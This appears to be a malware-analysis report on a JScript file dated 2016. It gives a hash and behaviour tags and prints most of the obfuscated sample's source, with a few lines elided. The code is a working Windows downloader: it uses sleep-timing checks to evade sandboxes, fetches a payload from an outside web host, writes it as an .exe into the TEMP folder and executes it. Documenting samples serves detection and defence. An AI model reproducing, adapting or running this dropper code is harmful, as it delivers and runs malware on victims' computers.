20160328_e896f6d659304c9e359db4cd7a16bc81.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2561d120e78d6a68abf8741a3dd00fb3fbe51af8c91990c7ea0033f4b6da7d0a9b8
Evidence
1var Vqels = false;
2var Kkuft = "CreateObject";
3var Zernm = function Qzzwzum() {return WScript[Kkuft]("WScript.Shell");}();
4var Cfilgzkgg = 123213;
5var Djwkvm = "MSXML2.XMLHTTP";
6var Zzknkp = 2123213;
7var Aszzeq = 0;
8function Onwecx(Liqxhlpl){Zernm["Run"](Liqxhlpl, Aszzeq, Aszzeq);};
9function Isylgxu(){return Djwkvm;};
10function Yxfuakdhfx(Bgcehav, Rcmesq){return Bgcehav - Rcmesq;};
11function Qxcyrky(){return Kkuft;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Vqels = true;
15 @end
16@*/
17var Ldhtweg = "";
18if (Vqels)
19{
20function Mqrxccm(){return 22;};
21var Wvjusj = 0; var Arcqcmsny = 0;
22function Eqmdqb()
23{
24var Wcqvhu = new this["Date"]();
25var Zmzfg = Wcqvhu["getUTCMilliseconds"]();
26WScript["Sleep"](Mqrxccm());
27var Wcqvhu = new this["Date"]();
28var Jqlwkvuqro = Wcqvhu["getUTCMilliseconds"]();
29WScript["Sleep"](Mqrxccm());
30var Wcqvhu = new this["Date"]();
31var Eprxg = Wcqvhu["getUTCMilliseconds"]();
32var Wvjusj = "Zowqltkpgu";
33Wvjusj = Yxfuakdhfx(Jqlwkvuqro, Zmzfg);
34var Arcqcmsny = "Ycuxjhhd";
35Arcqcmsny = Yxfuakdhfx(Eprxg, Jqlwkvuqro);
36Ldhtweg = "open";
37return Yxfuakdhfx(Wvjusj, Arcqcmsny);
38}
39var Vcvquqwtuw = false;
40var Jpgaska = false;
41for (var Hjtfc = Aszzeq; Hjtfc < Mqrxccm() * 1; Hjtfc++){if (Eqmdqb() != Aszzeq){
42Vcvquqwtuw = true; …
49:6… cvquqwtuw && Qstkfjlig() && Jpgaska){
50function Nuefv() {return Zernm["ExpandEnvironmentStrings"]("%TEMP%/") + "9qWCb3pAM.exe";};
51 Jupyevdci = Isylgxu();
52 Ktmayte = WScript[Kkuft](Jupyevdci);
53 var Enhxkl = 1;
54 while (Enhxkl){
55try {
56Ktmayte[Ldhtweg]("GET", "http://www.stopeugenicsnow.eu/m8dhs", false);
57Ktmayte["send"]();
58Oiivr = "Sleep";
59do {WScript[Oiivr](Mqrxccm() * 11)} while (Ktmayte["readystate"] < 4 );
60Enhxkl = Aszzeq;
61} catch(Ymhbox){Enhxkl = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Yuwqy(Ljiqm) {var Szqrr = (1, 2, 3, 4, 5, Ljiqm); return Szqrr;};
64Kwqjkmhw = WScript[Qxcyrky()]("ADODB.Stream");
65Jupyevdci = Kwqjkmhw;
66Jupyevdci[Ldhtweg]();
67Jupyevdci["type"] = Yuwqy(1);
68Jupyevdci["write"](Ktmayte["ResponseBody"]);
69Kwqjkmhw["position"] = Yuwqy(Aszzeq);
70Jupyevdci["SaveToFile"](Nuefv(), Yuwqy(2) );
71Kwqjkmhw["close"]();
72Onwecx(Nuefv());
73}
74}
75